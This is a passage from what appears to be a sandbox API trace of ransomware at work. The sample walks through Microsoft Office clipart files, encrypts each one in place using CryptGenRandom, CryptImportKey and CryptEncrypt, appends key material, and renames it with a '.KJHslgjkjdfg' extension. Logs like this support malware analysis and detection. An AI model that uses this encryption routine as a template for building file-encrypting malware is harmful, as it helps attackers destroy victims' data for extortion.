[0189.330] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.330] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x32b5, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x32b5, lpOverlapped=0x0) returned 1 [0189.333] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x32c0, dwBufLen=0x32c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x32c0) returned 1 [0189.333] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.333] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x32c0, lpOverlapped=0x0) returned 1 [0189.333] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.333] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.333] SetEndOfFile (hFile=0x130) returned 1 [0189.336] GetProcessHeap () returned 0x990000 [0189.336] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.336] GetProcessHeap () returned 0x990000 [0189.336] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.336] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.kjhslgjkjdfg")) returned 1 [0189.343] CloseHandle (hObject=0x130) returned 1 [0189.343] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2466, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FINCL_02.MID", cAlternateFileName="")) returned 1 [0189.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.345] GetProcessHeap () returned 0x990000 [0189.345] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.345] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.345] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.345] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0189.347] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.347] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.347] GetProcessHeap () returned 0x990000 [0189.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.348] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.348] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.348] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.348] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.348] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.348] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.348] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.348] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.348] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.348] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.348] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.348] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2466, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2466, lpOverlapped=0x0) returned 1 [0189.349] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2470, dwBufLen=0x2470 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2470) returned 1 [0189.350] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.350] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2470, lpOverlapped=0x0) returned 1 [0189.350] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.350] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.350] SetEndOfFile (hFile=0x130) returned 1 [0189.353] GetProcessHeap () returned 0x990000 [0189.353] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.353] GetProcessHeap () returned 0x990000 [0189.353] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.353] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.kjhslgjkjdfg")) returned 1 [0189.354] CloseHandle (hObject=0x130) returned 1 [0189.354] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x617e41d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FLAP.WMF", cAlternateFileName="")) returned 1 [0189.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.356] GetProcessHeap () returned 0x990000 [0189.356] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.356] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.356] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.356] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0189.358] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.358] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.358] GetProcessHeap () returned 0x990000 [0189.358] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0189.358] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0189.358] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.358] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0189.358] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.359] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.359] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.359] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.359] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.359] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.359] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.359] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.359] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x816, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x816, lpOverlapped=0x0) returned 1 [0189.359] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x820, dwBufLen=0x820 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x820) returned 1 [0189.359] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.359] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x820, lpOverlapped=0x0) returned 1 [0189.359] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.359] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.360] SetEndOfFile (hFile=0x130) returned 1 [0189.362] GetProcessHeap () returned 0x990000 [0189.362] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0189.362] GetProcessHeap () returned 0x990000 [0189.362] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.362] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.kjhslgjkjdfg")) returned 1 [0189.363] CloseHandle (hObject=0x130) returned 1 [0189.364] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GRDEN_01.MID", cAlternateFileName="")) returned 1 [0189.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.365] GetProcessHeap () returned 0x990000 [0189.365] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.365] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.365] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.365] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0189.368] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.368] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.368] GetProcessHeap () returned 0x990000 [0189.368] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.368] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.368] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.368] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.368] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.368] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.369] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.369] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.369] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.369] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.369] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.369] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.369] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1d8f, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1d8f, lpOverlapped=0x0) returned 1 [0189.370] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d90, dwBufLen=0x1d90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d90) returned 1 [0189.370] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.370] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1d90, lpOverlapped=0x0) returned 1 [0189.370] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.370] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.370] SetEndOfFile (hFile=0x130) returned 1 [0189.374] GetProcessHeap () returned 0x990000 [0189.374] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.374] GetProcessHeap () returned 0x990000 [0189.374] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.374] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.kjhslgjkjdfg")) returned 1 [0189.375] CloseHandle (hObject=0x130) returned 1 [0189.375] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18bb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GRID_01.MID", cAlternateFileName="")) returned 1 [0189.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.376] GetProcessHeap () returned 0x990000 [0189.376] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.376] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.376] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.376] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0189.378] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.378] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.378] GetProcessHeap () returned 0x990000 [0189.378] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.378] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.378] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.378] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.378] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.378] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.379] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.379] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.379] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.379] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.379] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.379] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.379] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x18bb, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x18bb, lpOverlapped=0x0) returned 1 [0189.380] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x18c0, dwBufLen=0x18c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x18c0) returned 1 [0189.380] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.380] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x18c0, lpOverlapped=0x0) returned 1 [0189.380] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.380] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.380] SetEndOfFile (hFile=0x130) returned 1 [0189.382] GetProcessHeap () returned 0x990000 [0189.382] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.382] GetProcessHeap () returned 0x990000 